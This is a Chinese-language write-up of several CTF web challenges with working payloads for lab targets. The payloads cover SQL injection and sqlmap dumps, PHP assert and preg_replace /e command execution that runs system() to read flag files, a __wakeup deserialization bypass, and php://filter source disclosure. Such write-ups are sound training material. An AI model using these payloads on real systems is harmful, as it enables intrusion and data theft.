1、ics-06
题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
做题过程:整个页面只有报表中心可以跳转,发现是一个带有id参数的URL,首先想到的是SQL注入,发现并不是考察SQL注入。
仔细研读了题目描述,发现是找一个带有入侵痕迹的页面,攻击方应该是随便找了一个页面进行入侵,而题目限定只有id可以调整(即攻击者是攻击了一个id=?的页面),所以应该是找到这个被入侵的id页面,用bp爆破。
2、NewsCenter
做题过程:一开始误认为是xss,自己尝试了好久感觉好像不是考察这个方向,于是就试了试SQL,结果发现真是SQL。
(1' and 1 or 1=1#与1' and 1 or 1=2#)
获取表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
获取信息
1' union select 1,2,fl4g from secret_table#
SQLMAP post注入
python sqlmap.py -u "http://111.198.29.45:51629/" --data="search=a" --dump
或者抓包直接sqlmap -r 1.txt --dbs,sqlmap -r 1.txt -D news --dump
3、mfw
首先查看页面源码,还以为是文件包含或绕过
看到一个页面有GIT提示,想到源码泄露
访问可能存在漏洞的页面,确实存在
使用工具获取源码
找到一个富有内涵的代码,(一开始一直认为是flag.php文件,后来发现是index.php入手)
GET接收参数后没有任何过滤,所以可以在file后面街上system函数进行代码执行,当程序执行assert函数时可以执行我们的system函数。
?page='.system("ls;cd templates;ls;cat flag.php").'
查看页面源代码
4 、NaNNaNNaNNaN-Batman
将源码加上.php后缀打开,这是一个js语言编写的,发现_是个变量,最后eval(_)是输出这个变量,改为alert(_)可以在页面中弹出变量的内容,方便分析
控制台执行那段关键代码
5 、PHP2
十分刁钻的思路就是phps查看源码
源码通俗易懂,就是构造id=admin
不让过,想到这应该是利用浏览器编码和URLdecode结合利用的二次编码注入绕过
6、unserialize3
结合这个_wakeup()函数和题目“unserialize3”就可以知道此题考查序列化与反序列化的知识。
code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
接下来简单补充以下这方面的知识:
序列化和反序列化:大型网站中类创建的对象多的时候会占用大量空间,序列化就是将这些对象转换为字符串来保存,当用到的时候再转换为对象,由字符串重新转换为对象的时候用到的就是反序列化。
格式说明:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
O:“类的名字的字节数“:“类的名字“:“对象中几个参数“:{“第一个参数名字的类型“:“第一个参数名字所占字节数”:“第一个参数名字”;“第二个参数名字的类型“:“第二个参数名字所占字节数”:“第二个参数名字”;········;“第n个参数名字的类型“:“第n个参数名字所占字节数”:“第n个参数名字”;}
O:类 a:数组(array)b:boolean i:整型 s:字符串 N:NULL d:double,浮点型
挖掘反序列化漏洞需要注意的常用魔法函数
__construct():当一个对象创建时被调用。
__destruct():当一个对象销毁时或者php代码执行完毕时被调用。
__toString():当一个对象被当作一个字符串使用
__sleep():在对象在被序列化之前运行
__wakeup():将在序列化之后立即被调用
结合本题的__wakeup()函数,我们介绍他的漏洞,用上面的例子,正常输出O:4:"xctf":1:{s:4:"flag";s:3:"111";},这里变量数量只有一个,若改成变量数量为两个O:4:"xctf":2:{s:4:"flag";s:3:"111";}则可以绕过__weakup函数。
我们通过这段代码可以获得该类的序列化代码O:4:"xctf":1:{s:4:"flag";s:3:"111";},对其修改以绕过__wakeup()函数
7 Cat
这道题一开始以为是命令执行,进行模糊测试后发现但凡是常用的特殊符号都被过滤了,所以想到不是这方向。然后果断查看WP,真是学到了curl的@+文件名做本地文件读取。(cURL是一个利用URL语法在命令行下工作的文件传输工具)
可以参考此大神的文章:http://www.wupco.cn/?p=4195
8 ics-05
题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
只有这一个页面可以进来
查看源代码发现了page关键词,想到任意文件读取
总之又没做出来,看了答案才明白。
利用page=php://filter/read=convert.base64-encode/resource=index.php
解密后,得到源码
主要是利用preg_replace() 漏洞
正则中/e(这里和|e效果一样) 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。我们执行preg_replace(’|.*|e’,$_POST[pass],’ '),这就可以执行$_POST[pass],也就相当于一句话木马的效果。
本题中需要burp抓包,修改头部,伪造IP127.0.0.1 ,然后传递三个参数pat、rep、sub,按照格式preg_replace(’|.*|e’,PHP代码,’ ')进行利用。
/index.php?pat=|.*|e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=aa